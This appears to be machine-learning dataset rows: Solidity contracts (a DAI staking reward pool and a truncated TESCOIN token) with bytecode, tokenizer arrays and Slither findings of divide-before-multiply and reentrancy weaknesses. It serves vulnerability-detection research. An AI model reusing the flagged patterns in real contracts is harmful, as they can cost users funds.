constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/IRewardDistributionRecipient.sol pragma solidity ^0.5.0; contract IRewardDistributionRecipient is Ownable { address public rewardDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } // File: contracts/CurveRewards.sol pragma solidity ^0.5.0; interface GAMER { function gamersScalingFactor() external returns (uint256); } contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); uint256 private _totalSupply; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); dai.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); dai.safeTransfer(msg.sender, amount); } } contract GAMERDAIPool is LPTokenWrapper, IRewardDistributionRecipient { IERC20 public gamer = IERC20(0x36F697f791A0C91D6f1BB166767d5D2D701B1d82); uint256 public constant DURATION = 7 days; uint256 public starttime = 1604289600; // 2020-11-02 04:00:00 (UTC +04:00) uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); modifier checkStart() { require(block.timestamp >= starttime,"not start"); _; } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // stake visibility is public as overriding LPTokenWrapper's stake() function function stake(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Cannot stake 0"); super.stake(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) checkStart { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; uint256 scalingFactor = GAMER(address(gamer)).gamersScalingFactor(); uint256 trueReward = reward.mul(scalingFactor).div(10**18); gamer.safeTransfer(msg.sender, trueReward); emit RewardPaid(msg.sender, trueReward); } } function notifyRewardAmount(uint256 reward) external onlyRewardDistribution updateReward(address(0)) { if (block.timestamp > starttime) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } else { rewardRate = reward.div(DURATION); lastUpdateTime = starttime; periodFinish = starttime.add(DURATION); emit RewardAdded(reward); } } // This function allows governance to take unsupported tokens out of the // contract, since this one exists longer than the other pools. // This is in an effort to make someone whole, should they seriously // mess up. There is no guarantee governance will vote to return these. // It also allows for removal of airdropped tokens. function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external { // only gov require(msg.sender == owner(), "!governance"); // cant take staked asset require(_token != dai, "dai"); // cant take reward asset require(_token != gamer, "gamer"); // transfer to _token.safeTransfer(to, amount); } }
0x608060405234801561001057600080fd5b50600436106101b85760003560e01c80637b0a47ee116100f9578063c8f33c9111610097578063e9fad8ee11610071578063e9fad8ee14610417578063ebe2b12b1461041f578063f2fde38b14610427578063f4b9fa751461045a576101b8565b8063c8f33c91146103ff578063cd3daf9d14610407578063df136d651461040f576101b8565b80638da58897116100d35780638da58897146103b65780638da5cb5b146103be5780638f32d59b146103c6578063a694fc3a146103e2576101b8565b80637b0a47ee1461037357806380faa57d1461037b5780638b87634714610383576101b8565b80631be05289116101665780633d18b912116101405780633d18b912146102ed57806354575af4146102f557806370a0823114610338578063715018a61461036b576101b8565b80631be05289146102ab5780632e1a7d4d146102b35780633c6b16ab146102d0576101b8565b8063101114cf11610197578063101114cf1461026a57806318160ddd1461029b57806319ab81e9146102a3576101b8565b80628cc262146101bd5780630700037d146102025780630d68b76114610235575b600080fd5b6101f0600480360360208110156101d357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610462565b60408051918252519081900360200190f35b6101f06004803603602081101561021857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166104f5565b6102686004803603602081101561024b57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610507565b005b6102726105c1565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6101f06105dd565b6102726105e4565b6101f0610600565b610268600480360360208110156102c957600080fd5b5035610607565b610268600480360360208110156102e657600080fd5b503561079f565b6102686109de565b6102686004803603606081101561030b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359160409091013516610c06565b6101f06004803603602081101561034e57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610de7565b610268610e0f565b6101f0610ef1565b6101f0610ef7565b6101f06004803603602081101561039957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610f0a565b6101f0610f1c565b610272610f22565b6103ce610f3e565b604080519115158252519081900360200190f35b610268600480360360208110156103f857600080fd5b5035610f7e565b6101f0611116565b6101f061111c565b6101f0611170565b610268611176565b6101f0611191565b6102686004803603602081101561043d57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611197565b610272611216565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600c6020908152604080832054600b9092528220546104ef91906104e390670de0b6b3a7640000906104d7906104c2906104b661111c565b9063ffffffff61123216565b6104cb88610de7565b9063ffffffff61127b16565b9063ffffffff6112ee16565b9063ffffffff61133016565b92915050565b600c6020526000908152604090205481565b61050f610f3e565b61057a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600480547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60045473ffffffffffffffffffffffffffffffffffffffff1681565b6001545b90565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b62093a8081565b3361061061111c565b600a5561061b610ef7565b60095573ffffffffffffffffffffffffffffffffffffffff81161561067c5761064381610462565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600c6020908152604080832093909355600a54600b909152919020555b6006544210156106ed57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f742073746172740000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6000821161075c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f43616e6e6f742077697468647261772030000000000000000000000000000000604482015290519081900360640190fd5b610765826113a4565b60408051838152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a25050565b60045473ffffffffffffffffffffffffffffffffffffffff166107c0611412565b73ffffffffffffffffffffffffffffffffffffffff161461082c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611aaf6021913960400191505060405180910390fd5b600061083661111c565b600a55610841610ef7565b60095573ffffffffffffffffffffffffffffffffffffffff8116156108a25761086981610462565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600c6020908152604080832093909355600a54600b909152919020555b6006544211156109725760075442106108d0576108c88262093a8063ffffffff6112ee16565b60085561091e565b6007546000906108e6904263ffffffff61123216565b905060006108ff6008548361127b90919063ffffffff16565b905061091862093a806104d7868463ffffffff61133016565b60085550505b4260098190556109379062093a8063ffffffff61133016565b6007556040805183815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a16109da565b6109858262093a8063ffffffff6112ee16565b60085560065460098190556109a39062093a8063ffffffff61133016565b6007556040805183815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a15b5050565b336109e761111c565b600a556109f2610ef7565b60095573ffffffffffffffffffffffffffffffffffffffff811615610a5357610a1a81610462565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600c6020908152604080832093909355600a54600b909152919020555b600654421015610ac457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f742073746172740000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6000610acf33610462565b905080156109da57336000908152600c6020908152604080832083905560055481517fe662241d000000000000000000000000000000000000000000000000000000008152915173ffffffffffffffffffffffffffffffffffffffff9091169263e662241d926004808201939182900301818787803b158015610b5157600080fd5b505af1158015610b65573d6000803e3d6000fd5b505050506040513d6020811015610b7b57600080fd5b505190506000610b9d670de0b6b3a76400006104d7858563ffffffff61127b16565b600554909150610bca9073ffffffffffffffffffffffffffffffffffffffff16338363ffffffff61141616565b60408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a250505050565b610c0e610f22565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ca757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21676f7665726e616e6365000000000000000000000000000000000000000000604482015290519081900360640190fd5b60005473ffffffffffffffffffffffffffffffffffffffff84811691161415610d3157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600360248201527f6461690000000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60055473ffffffffffffffffffffffffffffffffffffffff84811691161415610dbb57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600560248201527f67616d6572000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b610de273ffffffffffffffffffffffffffffffffffffffff8416828463ffffffff61141616565b505050565b73ffffffffffffffffffffffffffffffffffffffff1660009081526002602052604090205490565b610e17610f3e565b610e8257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60035460405160009173ffffffffffffffffffffffffffffffffffffffff16907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600380547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60085481565b6000610f05426007546114a3565b905090565b600b6020526000908152604090205481565b60065481565b60035473ffffffffffffffffffffffffffffffffffffffff1690565b60035460009073ffffffffffffffffffffffffffffffffffffffff16610f62611412565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b33610f8761111c565b600a55610f92610ef7565b60095573ffffffffffffffffffffffffffffffffffffffff811615610ff357610fba81610462565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600c6020908152604080832093909355600a54600b909152919020555b60065442101561106457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f742073746172740000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600082116110d357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f43616e6e6f74207374616b652030000000000000000000000000000000000000604482015290519081900360640190fd5b6110dc826114b9565b60408051838152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a25050565b60095481565b60006111266105dd565b6111335750600a546105e1565b610f056111616111416105dd565b6104d7670de0b6b3a76400006104cb6008546104cb6009546104b6610ef7565b600a549063ffffffff61133016565b600a5481565b61118761118233610de7565b610607565b61118f6109de565b565b60075481565b61119f610f3e565b61120a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b61121381611528565b50565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b600061127483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611622565b9392505050565b60008261128a575060006104ef565b8282028284828161129757fe5b0414611274576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611a8e6021913960400191505060405180910390fd5b600061127483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116d3565b60008282018381101561127457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001546113b7908263ffffffff61123216565b600155336000908152600260205260409020546113da908263ffffffff61123216565b3360008181526002602052604081209290925590546112139173ffffffffffffffffffffffffffffffffffffffff9091169083611416565b3390565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb00000000000000000000000000000000000000000000000000000000179052610de2908490611752565b60008183106114b25781611274565b5090919050565b6001546114cc908263ffffffff61133016565b600155336000908152600260205260409020546114ef908263ffffffff61133016565b3360008181526002602052604081209290925590546112139173ffffffffffffffffffffffffffffffffffffffff909116903084611996565b73ffffffffffffffffffffffffffffffffffffffff8116611594576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611a686026913960400191505060405180910390fd5b60035460405173ffffffffffffffffffffffffffffffffffffffff8084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b600081848411156116cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611690578181015183820152602001611678565b50505050905090810190601f1680156116bd5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000818361173c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315611690578181015183820152602001611678565b50600083858161174857fe5b0495945050505050565b6117718273ffffffffffffffffffffffffffffffffffffffff16611a2b565b6117dc57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b6020831061184557805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101611808565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146118a7576040519150601f19603f3d011682016040523d82523d6000602084013e6118ac565b606091505b50915091508161191d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156119905780806020019051602081101561193957600080fd5b5051611990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611ad0602a913960400191505060405180910390fd5b50505050565b6040805173ffffffffffffffffffffffffffffffffffffffff85811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd00000000000000000000000000000000000000000000000000000000179052611990908590611752565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611a5f5750808214155b94935050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c6572206973206e6f742072657761726420646973747269627574696f6e5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820b83a1dda713effd4c6d14a22e9d6a8489929ef3e38b8055707e571e8228d343964736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 16048, 6305, 2487, 2278, 2509, 2497, 2549, 20952, 2692, 2683, 2278, 2575, 2278, 23632, 2581, 2549, 2850, 29097, 2050, 26224, 2692, 2683, 2629, 9468, 2692, 17788, 2549, 27717, 1013, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1035, 1035, 1013, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1035, 1013, 1013, 1035, 1035, 1035, 1013, 1013, 1035, 1006, 1035, 1007, 1035, 1035, 1035, 1035, 1035, 1032, 1032, 1013, 1013, 1013, 1013, 1013, 1035, 1032, 1013, 1035, 1035, 1013, 1013, 1035, 1032, 1013, 1011, 1035, 1007, 1013, 1035, 1035, 1013, 1013, 1013, 1032, 1032, 1013, 1013, 1035, 1035, 1035, 1013, 1032, 1035, 1010, 1013, 1013, 1035, 1013, 1013, 1035, 1013, 1032, 1035, 1035, 1013, 1013, 1035, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,630
0x9716cd775cebe71a49f704694452bea5dde12d83
pragma solidity 0.5.16; interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract TESCOIN is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 public _decimals; string public _symbol; string public _name; constructor() public { _name = "TES COIN"; _symbol = "TES"; _decimals = 6; _totalSupply = 1000000000000; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function getOwner() external view returns (address) { return owner(); } function decimals() external view returns (uint8) { return _decimals; } function symbol() external view returns (string memory) { return _symbol; } function name() external view returns (string memory) { return _name; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external returns 